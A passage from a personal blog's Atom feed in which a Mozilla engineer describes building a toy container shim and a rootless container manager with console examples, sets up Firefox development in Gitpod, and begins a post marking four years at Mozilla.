&lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;yacs &lt;span class=&quot;nt&quot;&gt;--bundle&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/tmp/alpine-bundle &lt;span class=&quot;nt&quot;&gt;--container-id&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;alpine
&lt;span class=&quot;go&quot;&gt;/home/gitpod/.run/yacs/alpine/shim.sock

&lt;/span&gt;&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;ps auxf
&lt;span class=&quot;go&quot;&gt;USER    PID    COMMAND
[...]
gitpod  44458  yacs --bundle=/tmp/alpine-bundle --container-id=alpine
gitpod  44488   \_ yacr --log-format json --log /home/gitpod/.run/yacs/alpine/yacr.log create container alpine --root /home/gitpod/.run/yacr --bundle /tmp/alpine-bundle
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When we ask the shim to start the container using the HTTP API, it invokes the
runtime again to start the container. At this point, the container process (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sh /hello-loop.sh&lt;/code&gt; in this example) should be running under the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;yacs&lt;/code&gt; (subreaper)
process (see &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ps&lt;/code&gt; output below).&lt;/p&gt;

&lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;curl &lt;span class=&quot;nt&quot;&gt;-X&lt;/span&gt; POST &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;cmd=start&apos;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--unix-socket&lt;/span&gt; /home/gitpod/.run/yacs/alpine/shim.sock http://shim/
&lt;span class=&quot;go&quot;&gt;{
  &quot;id&quot;: &quot;alpine&quot;,
  &quot;runtime&quot;: &quot;yacr&quot;,
  &quot;state&quot;: {
    &quot;ociVersion&quot;: &quot;1.0.2&quot;,
    &quot;id&quot;: &quot;alpine&quot;,
    &quot;status&quot;: &quot;running&quot;,
    &quot;pid&quot;: 44488,
    &quot;bundle&quot;: &quot;/tmp/alpine-bundle&quot;
  },
  &quot;status&quot;: {}
}

&lt;/span&gt;&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;ps auxf
&lt;span class=&quot;go&quot;&gt;USER    PID    COMMAND
[...]
gitpod  44458  yacs --bundle=/tmp/alpine-bundle --container-id=alpine
gitpod  44488   \_ sh /hello-loop.sh
gitpod  55758       \_ sleep 1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Yacs saves the output of the container process in a JSON file (called a “log
file”) to read the output after the container process has died (useful for
container managers). We can use the HTTP API to fetch these logs:&lt;/p&gt;

&lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;curl &lt;span class=&quot;nt&quot;&gt;--unix-socket&lt;/span&gt; /home/gitpod/.run/yacs/alpine/shim.sock http://shim/logs
&lt;span class=&quot;go&quot;&gt;[...]
{&quot;m&quot;:&quot;Hello!&quot;,&quot;s&quot;:&quot;stdout&quot;,&quot;t&quot;:&quot;2022-06-12T11:51:44.947554491Z&quot;}
{&quot;m&quot;:&quot;Hello!&quot;,&quot;s&quot;:&quot;stdout&quot;,&quot;t&quot;:&quot;2022-06-12T11:51:45.948493454Z&quot;}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Each line in a log file is a JSON object with the output message (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;m&lt;/code&gt;), the
stream (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;s&lt;/code&gt;) and the timestamp (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;t&lt;/code&gt;). Container managers can then implement a
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;logs&lt;/code&gt; command that can read this log file and print each message to the right
stream (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stdout&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stderr&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;Yacs also supports &lt;a href=&quot;https://github.com/containerd/containerd/discussions/5789&quot;&gt;console sockets&lt;/a&gt;. In which case, logs are not available.
The HTTP API supports &lt;a href=&quot;https://github.com/willdurand/containers/blob/main/cmd/yacs/README.md&quot;&gt;other commands to send signals to a container, delete it
and even terminate the shim itself&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;yaman-yet-another-container-manager&quot;&gt;Yaman: Yet another (container) manager&lt;/h2&gt;

&lt;p&gt;With a somewhat functional runtime and a shim that could do a few things
correctly, I decided to look into container managers (like &lt;a href=&quot;https://docs.docker.com/&quot;&gt;Docker&lt;/a&gt; and
&lt;a href=&quot;https://docs.podman.io/en/latest/&quot;&gt;Podman&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;My initial idea was to write the minimum amount of code to use an existing
Docker image with the two tools I had written and without Docker. Ha, ha.&lt;/p&gt;

&lt;p&gt;I ended up writing a &lt;a href=&quot;https://github.com/willdurand/containers/blob/main/cmd/yaman/README.md&quot;&gt;daemon-less container manager that creates and manages
rootless containers&lt;/a&gt;. These containers can even reach the Internet (which
isn’t a given)! I tried to make container IOs work correctly as well, with
support for interactive mode and &lt;a href=&quot;https://man7.org/linux/man-pages/man7/pty.7.html&quot;&gt;pseudo-terminal&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;It was actually “simpler” to implement a daemon-less manager than implementing a
daemon with an API and a client CLI to talk to it. I also find this approach
more elegant in general but that’s my personal opinion.&lt;/p&gt;

&lt;h3 id=&quot;examples&quot;&gt;Examples&lt;/h3&gt;

&lt;p&gt;The first example pipes &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wttr.in&lt;/code&gt; to a first container that reads from its
standard input (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stdin&lt;/code&gt;) in order to call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wget&lt;/code&gt;, which will print its output to
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stdout&lt;/code&gt; (workaround for not having &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;curl&lt;/code&gt; in the container). This first
container should be automatically removed when it exits because the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--rm&lt;/code&gt;
option has been specified.&lt;/p&gt;

&lt;p&gt;The output of the first container is piped into a second container (running an
“alpine” image from a different registry), which will only take the first 7
lines of the input it receives.&lt;/p&gt;

&lt;p&gt;We then get the final output of these commands into our terminal 🎉&lt;/p&gt;

&lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;wttr.in&apos;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
&lt;span class=&quot;go&quot;&gt;  | yaman c run --rm --interactive docker.io/library/alpine -- xargs wget -qO /dev/stdout \
  | yaman c run --interactive quay.io/aptible/alpine -- head -n 7
Weather report: Freiburg im Breisgau, Germany

   _`/&quot;&quot;.-.     Thundery outbreaks possible
    ,\_(   ).   17 °C
     /(___(__)  ↘ 4 km/h
      ⚡‘‘⚡‘‘  9 km
      ‘ ‘ ‘ ‘   0.0 mm

// We list all the containers and observe that the first container has been
// removed automatically. The second one is still listed.
&lt;/span&gt;&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;yaman c &lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-a&lt;/span&gt;
&lt;span class=&quot;go&quot;&gt;CONTAINER ID                       IMAGE                           COMMAND       CREATED          STATUS                      NAME
10bddbfd480c46ffbbc8a5005134e1d7   quay.io/aptible/alpine:latest   head -n 7     35 seconds ago   Exited (0) 35 seconds ago   bold_zhukovsky

// Even if the second container has exited, we can still fetch its logs. We ask
// Yaman to print the logs with the timestamps.
&lt;/span&gt;&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;yaman c logs &lt;span class=&quot;nt&quot;&gt;--timestamps&lt;/span&gt; 10bddbfd480c46ffbbc8a5005134e1d7
&lt;span class=&quot;go&quot;&gt;2022-06-21T07:04:06Z - Weather report: Freiburg im Breisgau, Germany
2022-06-21T07:04:06Z -
2022-06-21T07:04:06Z -    _`/&quot;&quot;.-.     Thundery outbreaks possible
2022-06-21T07:04:06Z -     ,\_(   ).   17 °C
2022-06-21T07:04:06Z -      /(___(__)  ↘ 4 km/h
2022-06-21T07:04:06Z -       ⚡‘‘⚡‘‘  9 km
2022-06-21T07:04:06Z -       ‘ ‘ ‘ ‘   0.0 mm
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The second example below shows that we can re-attach to a container started in
detached mode (with terminal). This new container was created by &lt;a href=&quot;https://github.com/opencontainers/runc/&quot;&gt;runc&lt;/a&gt; and we
specified a custom &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hostname&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;  &lt;/span&gt;yaman c run &lt;span class=&quot;nt&quot;&gt;--rm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--runtime&lt;/span&gt; runc &lt;span class=&quot;nt&quot;&gt;--hostname&lt;/span&gt; ubuntu-demo &lt;span class=&quot;nt&quot;&gt;-it&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; docker.io/library/ubuntu
&lt;span class=&quot;go&quot;&gt;47988b8c7bde4f3d8e84568faea3e3f4

&lt;/span&gt;&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;yaman c attach 47988b8c7bde4f3d8e84568faea3e3f4
&lt;span class=&quot;gp&quot;&gt;root@ubuntu-demo:/#&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;tty&lt;/span&gt;
&lt;span class=&quot;go&quot;&gt;/dev/pts/0
&lt;/span&gt;&lt;span class=&quot;gp&quot;&gt;root@ubuntu-demo:/#&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt;
&lt;span class=&quot;go&quot;&gt;bin   dev  home  lib32  libx32  mnt  proc  run   srv  tmp  var
boot  etc  lib   lib64  media   opt  root  sbin  sys  usr
&lt;/span&gt;&lt;span class=&quot;gp&quot;&gt;root@ubuntu-demo:/#&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /etc/lsb-release
&lt;span class=&quot;go&quot;&gt;DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=22.04
DISTRIB_CODENAME=jammy
DISTRIB_DESCRIPTION=&quot;Ubuntu 22.04 LTS&quot;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;internals&quot;&gt;Internals&lt;/h3&gt;

&lt;p&gt;Under the hood, this container manager, named &lt;a href=&quot;https://github.com/willdurand/containers/blob/main/cmd/yaman/README.md&quot;&gt;Yaman&lt;/a&gt;, relies on
&lt;a href=&quot;https://github.com/containers/fuse-overlayfs&quot;&gt;fuse-overlayfs&lt;/a&gt; in rootless mode, native OverlayFS in rootfull mode (&lt;em&gt;e.g.&lt;/em&gt;
when Yaman is executed with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo&lt;/code&gt;) and &lt;a href=&quot;https://github.com/rootless-containers/slirp4netns&quot;&gt;slirp4netns&lt;/a&gt; for the network layer.&lt;/p&gt;

&lt;p&gt;That has been a lot of work&lt;sup id=&quot;fnref:2&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:2&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; and I took many shortcuts and introduced a few
&lt;a href=&quot;https://github.com/willdurand/containers/pull/81&quot;&gt;hacks&lt;/a&gt; to have a functional tool in the end. For example, images and layers
management isn’t great to say the least. Yaman is full of limitations and
probably bugs as well. Some of the known limitations have been documented. The
other ones are yet to be found 🙈&lt;/p&gt;

&lt;p&gt;Thanks to the power of abstractions and specifications, it is possible to use
any OCI-compliant runtime with Yaman. That should make the whole thing a bit
more reliable and secure&lt;sup id=&quot;fnref:3&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:3&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;3&lt;/a&gt;&lt;/sup&gt; 😬&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;I learned so much recently! If you want to know more about this work, you can
find &lt;a href=&quot;https://github.com/willdurand/containers/blob/main/cmd/yacr/README.md&quot;&gt;Yacr&lt;/a&gt;, &lt;a href=&quot;https://github.com/willdurand/containers/blob/main/cmd/yacs/README.md&quot;&gt;Yacs&lt;/a&gt; and &lt;a href=&quot;https://github.com/willdurand/containers/blob/main/cmd/yaman/README.md&quot;&gt;Yaman&lt;/a&gt; on &lt;a href=&quot;https://github.com/willdurand/containers&quot;&gt;GitHub&lt;/a&gt;. Feel free to try them
out on &lt;a href=&quot;gitpod.io/&quot;&gt;Gitpod&lt;/a&gt; or locally using &lt;a href=&quot;https://www.vagrantup.com/&quot;&gt;Vagrant&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I have been using Docker for many years without necessarily questioning why
things were what they were or how this whole thing was actually working under
the hood.&lt;/p&gt;

&lt;p&gt;Now when I have a more specific question about &lt;a href=&quot;https://docs.docker.com/&quot;&gt;Docker&lt;/a&gt; (or &lt;a href=&quot;https://containerd.io/&quot;&gt;containerd&lt;/a&gt; or
&lt;a href=&quot;https://docs.podman.io/en/latest/&quot;&gt;Podman&lt;/a&gt;), I can follow the source code and usually think “oh, &lt;em&gt;that&lt;/em&gt; makes
sense” or “ha, yeah, clever!”. This happened a few times lately and that put a
smile on my face every time.&lt;/p&gt;

&lt;p&gt;And it’s enough to consider this deep dive a good investment of my free time! ❤️&lt;/p&gt;

&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:1&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;For instance, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cgroups&lt;/code&gt;, capabilities and seccomp are not supported. &lt;a href=&quot;#fnref:1&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:2&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;Both the &lt;a href=&quot;https://github.com/opencontainers/distribution-spec&quot;&gt;distribution spec&lt;/a&gt; and &lt;a href=&quot;https://github.com/opencontainers/image-spec&quot;&gt;image spec&lt;/a&gt; have been helpful while implementing Yaman. &lt;a href=&quot;#fnref:2&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:3&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;No. &lt;a href=&quot;#fnref:3&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
</content>
    </entry>
    
    <entry>
        <title>Developing Firefox in Firefox with Gitpod</title>
        <link href="https://williamdurand.fr/2022/05/03/developing-firefox-in-firefox-with-gitpod/"/>
        <updated>2022-05-03T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2022/05/03/developing-firefox-in-firefox-with-gitpod</id>
        <content type="html">&lt;p&gt;&lt;a href=&quot;https://gitpod.io/&quot;&gt;Gitpod&lt;/a&gt; provides Linux-based development environments on demand along with a
web editor frontend (VS Code). There is apparently no limit on what you can do
in a &lt;a href=&quot;https://www.gitpod.io/docs/workspaces&quot;&gt;Gitpod workspace&lt;/a&gt;, e.g., I ran my own toy kernel in QEMU in the browser.&lt;/p&gt;

&lt;p&gt;I like Gitpod because it…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;avoids potential issues when setting up a new project, which is great for the
maintainers (e.g., it is easier to reproduce an issue when you have access to
the same environment) and the newcomers (e.g., no fatal error when trying to
contribute for the first time)&lt;/li&gt;
  &lt;li&gt;allows anyone to have access to a (somewhat) powerful machine because not
everyone can afford a MacBook Pro. I suppose one needs a pretty reliable
Internet connection, though&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;motivations&quot;&gt;Motivations&lt;/h2&gt;

&lt;p&gt;My main machine runs MacOS. I also have a Windows machine on my desk (useful to
debug &lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1761550&quot;&gt;annoying Windows-only intermittent failures&lt;/a&gt;), which I
access with Microsoft Remote Desktop.&lt;/p&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2022/05/remote-desktop.webp&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;It looks like Gitpod, runs like Gitpod, and quacks like Gitpod but it isn’t Gitpod!&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Except my ever growing collection of single-board computers, I don’t have a
Linux-based machine at home^W work, though. I haven’t used Virtual Machines on
Apple Silicon yet and I’d rather keep an eye on &lt;a href=&quot;https://asahilinux.org/&quot;&gt;Asahi Linux&lt;/a&gt; instead.&lt;/p&gt;

&lt;p&gt;This is why I wanted to give Gitpod a try and see if it could become my Linux
environment for working on Firefox. Clearly, this is a nice to have for me (I
don’t necessarily need to build Firefox on Linux) but that might be useful to
others.&lt;/p&gt;

&lt;p&gt;Assuming a Gitpod-based setup would work for me, this could possibly become a
strong alternative for other contributors as well. Then, &lt;em&gt;mayyybe&lt;/em&gt; I could start
a conversation about it internally in the (far) future.&lt;/p&gt;

&lt;p&gt;Note that this isn’t a novel idea, Jan Keromnes was already working on a similar
tool called &lt;a href=&quot;https://www.youtube.com/watch?v=5sNDMIh-iVw&quot;&gt;“Janitor” for Mozilla needs in 2015&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;firefox-development-with-gitpod--️&quot;&gt;Firefox development with Gitpod = ❤️&lt;/h2&gt;

&lt;p&gt;I recently put together &lt;a href=&quot;https://github.com/willdurand/gitpod-firefox-dev&quot;&gt;a proof of concept&lt;/a&gt; and played
with it since then. This GitHub repository contains the Gitpod configuration
to checkout the Firefox sources as well as the tools required to build Firefox.&lt;/p&gt;

&lt;p&gt;It takes about 7 minutes to be able to run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;./mach run&lt;/code&gt; in a fresh workspace
(artifact mode). It is not super fast, although I already improved the initial
load time by using a &lt;a href=&quot;https://hub.docker.com/r/willdurand/gitpod-firefox-dev&quot;&gt;custom Docker image&lt;/a&gt;. It is
also worth mentioning that re-opening an existing workspace is much faster!&lt;/p&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2022/05/gitpod-mach-run.webp&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;./mach run&lt;/code&gt; executed in a Gitpod workspace&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Gitpod provides a Docker image with &lt;a href=&quot;https://www.gitpod.io/blog/native-ui-with-vnc&quot;&gt;X11 and VNC&lt;/a&gt;, which I used as the base
for my custom Docker image. This is useful to interact with Firefox as well as
observing some of the tests running.&lt;/p&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2022/05/gitpod-mach-test.webp&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;A “mochitest” running in a Gitpod workspace&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I don’t know if &lt;em&gt;this&lt;/em&gt; is the right approach, though. My understanding is that
Gitpod works best when its configuration lives next to the sources. For Firefox,
that would mean having the configuration in the official Mozilla &lt;a href=&quot;https://www.mercurial-scm.org/&quot;&gt;Mercurial&lt;/a&gt;
repositories but then we would need &lt;em&gt;hgpod.io&lt;/em&gt; 😅&lt;/p&gt;

&lt;p&gt;On the other hand, we develop Firefox using a &lt;a href=&quot;https://jg.gg/2018/09/29/stacked-diffs-versus-pull-requests/&quot;&gt;stacked diff&lt;/a&gt; workflow.
Therefore, we probably don’t need most of the VCS features and &lt;a href=&quot;https://www.gitpod.io/blog/gitpod-jetbrains&quot;&gt;Gitpod does not
want to be seen as an online IDE&lt;/a&gt; anyway. I personally rely
on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git&lt;/code&gt; with the excellent &lt;a href=&quot;https://github.com/glandium/git-cinnabar&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git-cinnabar&lt;/code&gt; helper&lt;/a&gt;, and &lt;a href=&quot;https://moz-conduit.readthedocs.io/en/latest/phabricator-user.html#setting-up-mozphab&quot;&gt;moz-phab&lt;/a&gt;
to submit patches to Phabricator. Except for the latter, which can easily be
installed with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;./mach install-moz-phab&lt;/code&gt;, these tools are already available in
Gitpod workspaces created with &lt;a href=&quot;https://github.com/willdurand/gitpod-firefox-dev&quot;&gt;my repository&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;In terms of limitations, cloning &lt;a href=&quot;https://mozilla-version-control-tools.readthedocs.io/en/latest/hgmozilla/unifiedrepo.html&quot;&gt;mozilla-unified&lt;/a&gt; is the most time-consuming
task at the moment. Gitpod has a feature called &lt;a href=&quot;https://www.gitpod.io/docs/prebuilds&quot;&gt;Prebuilds&lt;/a&gt; that could help
but I am not sure how that would work when the actual project repository isn’t
the one that contains the Gitpod configuration.&lt;/p&gt;

&lt;p&gt;In case you’re wondering, I also started a full build (no artifact) and it took
about 40 minutes to finish 🙁 I was hoping to have better performances out of
the box even if it isn’t &lt;em&gt;that&lt;/em&gt; bad. For comparison, it takes [~15min on my
MacBook Pro with M1 Max]&lt;sup id=&quot;fnref:tweet-m1-max&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:tweet-m1-max&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; (and 2 hours on my previous Apple
machine).&lt;/p&gt;

&lt;p&gt;There are other things that I’d like to poke around. For instance, I would love
to have &lt;a href=&quot;https://github.com/rr-debugger/rr&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rr&lt;/code&gt;&lt;/a&gt; support in Gitpod. I gave it a quick try and it does not seem
possible so far, maybe because of &lt;a href=&quot;https://github.com/rr-debugger/rr/wiki/Docker&quot;&gt;how Docker is configured&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gitpod /workspace/gitpod-firefox-dev/mozilla-unified (bookmarks/central) $ rr record -n /usr/bin/ls
[FATAL /tmp/rr/src/PerfCounters.cc:224:start_counter() errno: EPERM] Failed to initialize counter
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After a few messages exchanged on Twitter, Jan Keromnesjan (yeah, same as above)
from Gitpod filed a &lt;a href=&quot;https://github.com/gitpod-io/gitpod/issues/9687&quot;&gt;feature request to support &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rr&lt;/code&gt;&lt;/a&gt; 🤞&lt;/p&gt;

&lt;h2 id=&quot;next-steps&quot;&gt;Next steps&lt;/h2&gt;

&lt;p&gt;As I mentioned previously, this is a proof of concept but it is already
functional. I’ll personally continue to evaluate this Linux-based development
environment. If it gets &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rr&lt;/code&gt; support, this might become my debugging
environment of choice!&lt;/p&gt;

&lt;p&gt;Now, if you are interested, you can go ahead and &lt;a href=&quot;https://gitpod.io/#https://github.com/willdurand/gitpod-firefox-dev&quot;&gt;create a new
workspace&lt;/a&gt; automatically. Otherwise please reach out to me and
let’s discuss!&lt;/p&gt;

&lt;p&gt;One more thing: Mozilla employees (and many other Open Source contributors)
qualify for the &lt;a href=&quot;https://www.gitpod.io/blog/gitpod-for-opensource&quot;&gt;Gitpod for Open Source&lt;/a&gt; program.&lt;/p&gt;

&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:tweet-m1-max&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;This used to be a link to a tweet from me:&lt;/p&gt;
      &lt;blockquote class=&quot;footnote-tweet&quot;&gt;
        &lt;p&gt;This new MBP 14” with M1 Max chip seems promising: keyboard feels nice, no
distracting touch bar, and it compiles Firefox in less than 15 minutes!
(vs ~2 hours with my previous machine)&lt;/p&gt;
      &lt;/blockquote&gt;
      &lt;p&gt;&lt;a href=&quot;#fnref:tweet-m1-max&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
</content>
    </entry>
    
    <entry>
        <title>Moziversary #4</title>
        <link href="https://williamdurand.fr/2022/05/01/moziversary-4/"/>
        <updated>2022-05-01T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2022/05/01/moziversary-4</id>
        <content type="html">&lt;p&gt;&lt;em&gt;Today is my fourth Moziversary 🎂 I have been working at Mozilla as a full-time
employee for 4 years. I blogged two times before: in &lt;a href=&quot;/2020/05/01/moziversary-2/&quot;&gt;2020&lt;/a&gt; and &lt;a href=&quot;/2021/05/01/moziversary-3/&quot;&gt;2021&lt;/a&gt;. What
happened in 2019? I. Don’t. Know.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I was hired as a Senior Web Developer on &lt;a href=&quot;https://addons.mozilla.org/&quot;&gt;addons.mozilla.org&lt;/a&gt; (AMO). I am now
a &lt;a href=&quot;/2021/02/26/i-got-a-promotion/&quot;&gt;Staff Software Engineer&lt;/a&gt; in the Firefox WebExtensions team. I
officially &lt;a href=&quot;/2022/01/25/new-team-mozilla/&quot;&gt;joined this team&lt;/a&gt; in January. Since then, I became a
&lt;a href=&quot;https://www.mozilla.org/en-US/about/governance/policies/module-ownership/&quot;&gt;peer&lt;/a&gt; of the &lt;a href=&quot;https://wiki.mozilla.org/Modules/All#Add-ons_Manager&quot;&gt;Add-ons Manager&lt;/a&gt; and &lt;a href=&quot;https://wiki.mozilla.org/Modules/All#Webextensions&quot;&gt;WebExtensions&lt;/a&gt; modules.&lt;/p&gt;

&lt;h2 id=&quot;farewell-amo&quot;&gt;Farewell AMO!&lt;/h2&gt;

&lt;p&gt;As mentioned above, I moved to another team after many years in the AMO team.
If I had to summarize my time in this team, I would probably say: “I did my
part”.&lt;/p&gt;

&lt;p&gt;Earlier this year, I transferred ownership of more than 10 projects that I
either created or took over to my former (AMO) colleagues 😬 I was maintaining
these projects in addition to the bulk of my work, which has been extremely
diverse. As far as I can remember, I…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;worked on countless user-facing features on AMO, quickly becoming the &lt;a href=&quot;https://github.com/mozilla/addons-frontend/graphs/contributors&quot;&gt;top
committer on addons-frontend&lt;/a&gt; (for what it’s worth)&lt;/li&gt;
  &lt;li&gt;contributed many improvements to the AMO backend (Django/Python). For
example, I drastically improved the reliability of the Git extraction system
that we use for signed add-ons&lt;/li&gt;
  &lt;li&gt;developed a set of anti-malware scanning and code search tools that have
been “a game changer to secure the add-ons ecosystem for Firefox”&lt;/li&gt;
